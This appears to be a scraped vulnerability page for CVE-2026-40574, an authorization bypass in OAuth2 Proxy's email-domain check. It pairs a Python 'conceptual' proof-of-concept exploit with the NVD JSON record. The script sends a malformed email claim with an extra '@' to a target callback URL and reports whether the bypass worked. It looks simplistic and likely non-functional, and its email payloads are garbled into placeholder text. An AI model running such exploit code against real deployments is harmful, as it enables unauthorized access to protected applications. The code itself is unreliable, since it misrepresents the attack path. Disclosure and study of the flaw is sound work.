CVE-2026-40574

# Conceptual Proof of Concept for CVE-2026-40574 # This demonstrates how a malformed email claim can bypass domain validation. import requests # Target OAuth2 Proxy callback URL target_url = "https://target-app.example.com/oauth2/callback" # The target domain configured in OAuth2 Proxy is "company.com" # Attacker constructs a malicious email claim with an extra '@' symbol # If the validation logic only checks the suffix or splits incorrectly, # "[email protected]@company.com" might match "company.com" malicious_payload = { "email": "[email protected]@company.com", "user": "attacker" } # Send the malicious request to the proxy response = requests.post(target_url, data=malicious_payload) # Check if authentication was bypassed if response.status_code == 200 and "Welcome" in response.text: print("[+] Authorization bypass successful!") else: print("[-] Attack failed or patch applied.")

{"cve": {"id": "CVE-2026-40574", "sourceIdentifier": "[email protected]", "published": "2026-04-21T17:16:55.730", "lastModified": "2026-04-27T19:49:09.827", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OAuth2 Proxy is a reverse proxy that provides authentication using OAuth2 providers. Prior to 7.15.2, an authorization bypass exists in OAuth2 Proxy as part of the email_domain enforcement option. An attacker may be able to authenticate with an email claim such as [email protected]@company.com and satisfy an allowed domain check for company.com, even though the claim is not a valid email address. The issue ONLY affects deployments that rely on email_domain restrictions and accept email claim values from identity providers or claim mappings that do not strictly enforce normal email syntax. This vulnerability is fixed in 7.15.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oauth2_proxy_project:oauth2_proxy:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.15.2", "matchCriteriaId": "8ECD42F0-BA8D-4BA5-A347-1CAD636DCF70"}]}]}], "references": [{"url": "https://github.com/oauth2-proxy/oauth2-proxy/security/advisories/GHSA-c5c4-8r6x-56w3", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}